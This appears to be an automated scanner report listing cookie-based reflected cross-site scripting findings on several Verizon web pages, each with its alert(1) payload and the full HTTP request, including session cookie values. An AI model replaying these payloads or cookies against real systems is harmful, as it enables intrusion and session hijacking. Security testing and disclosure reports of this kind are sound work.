The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 695bb<script>alert(1)</script>f978245bac3 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/AboutFiOS/Overview.aspx?NRMODE=Published&NRNODEGUID=%7bF9227CB3-4C5B-4F37-BD11-4F487E059674%7d&NRORIGINALURL=%2fResidential%2faboutFiOS%2fOverview%2ehtm&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX695bb<script>alert(1)</script>f978245bac3; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d29e7'><script>alert(1)</script>955a6a276cd was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/AboutFiOS/Overview.aspx?NRMODE=Published&NRNODEGUID=%7bF9227CB3-4C5B-4F37-BD11-4F487E059674%7d&NRORIGINALURL=%2fResidential%2faboutFiOS%2fOverview%2ehtm&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXd29e7'><script>alert(1)</script>955a6a276cd; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 32d05'><script>alert(1)</script>c6bec81b34 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/Bundles/Overview.aspx?NRMODE=Published&NRNODEGUID=%7b0ECAE15E-8F92-465E-B27B-6897F0CAB2C4%7d&NRORIGINALURL=%2fresidential%2fbundles%2foverview&NRCACHEHINT=Guest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX32d05'><script>alert(1)</script>c6bec81b34; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 451ea<script>alert(1)</script>402101dda66 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/Bundles/Overview.aspx?NRMODE=Published&NRNODEGUID=%7b0ECAE15E-8F92-465E-B27B-6897F0CAB2C4%7d&NRORIGINALURL=%2fresidential%2fbundles%2foverview&NRCACHEHINT=Guest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX451ea<script>alert(1)</script>402101dda66; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the RegistrationApp cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d200"-alert(1)-"ba6859215db was submitted in the RegistrationApp cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ForyourHome/Registration/Reg/BundleLoginAlone.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a6d200"-alert(1)-"ba6859215db; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 MyVzServer: GWA14V Content-Type: text/html; charset=utf-8 Content-Length: 22835 Expires: Sat, 20 Nov 2010 02:35:53 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:35:53 GMT Connection: close Set-Cookie: NSC_xxx22_gzi_fsfh_mcw=ffffffff895bc6cf45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>BundleLoginSignin</title> <LINK href="../styles/vz_com_header_new.css" type="text/css" rel="stylesheet"> ...[SNIP]... USTOM 3 hbx.hc4="";//CUSTOM 4 hbx.hrf="";//CUSTOM REFERRER hbx.pec="";//ERROR CODES //Added by Hbx request var cv = _hbEvent("cv"); cv.c8 = "293e47b8-02f1-4184-8a59-1a5fb423293a6d200"-alert(1)-"ba6859215db|Others-Other"
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 43d22<script>alert(1)</script>b988849fa6f was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX43d22<script>alert(1)</script>b988849fa6f; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3b892'><script>alert(1)</script>c45c0f7824f was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3b892'><script>alert(1)</script>c45c0f7824f; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload dbc66<script>alert(1)</script>a161582328c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/FlexView/FlexView HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXdbc66<script>alert(1)</script>a161582328c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 734d2'><script>alert(1)</script>71478d92c9c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/FlexView/FlexView HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX734d2'><script>alert(1)</script>71478d92c9c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b7bbb'><script>alert(1)</script>a8309b1db80 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fios_online_nat/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb7bbb'><script>alert(1)</script>a8309b1db80; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 66472<script>alert(1)</script>8c87af660bb was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/fios_online_nat/fios_online_nat.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX66472<script>alert(1)</script>8c87af660bb; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload be024'><script>alert(1)</script>c3830ac2f77 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_offline_pp/hsi_offline_pp.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXbe024'><script>alert(1)</script>c3830ac2f77; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload e9ca1<script>alert(1)</script>d1af892adfb was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_offline_pp/hsi_offline_pp.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXe9ca1<script>alert(1)</script>d1af892adfb; PageTitle=Livechat; 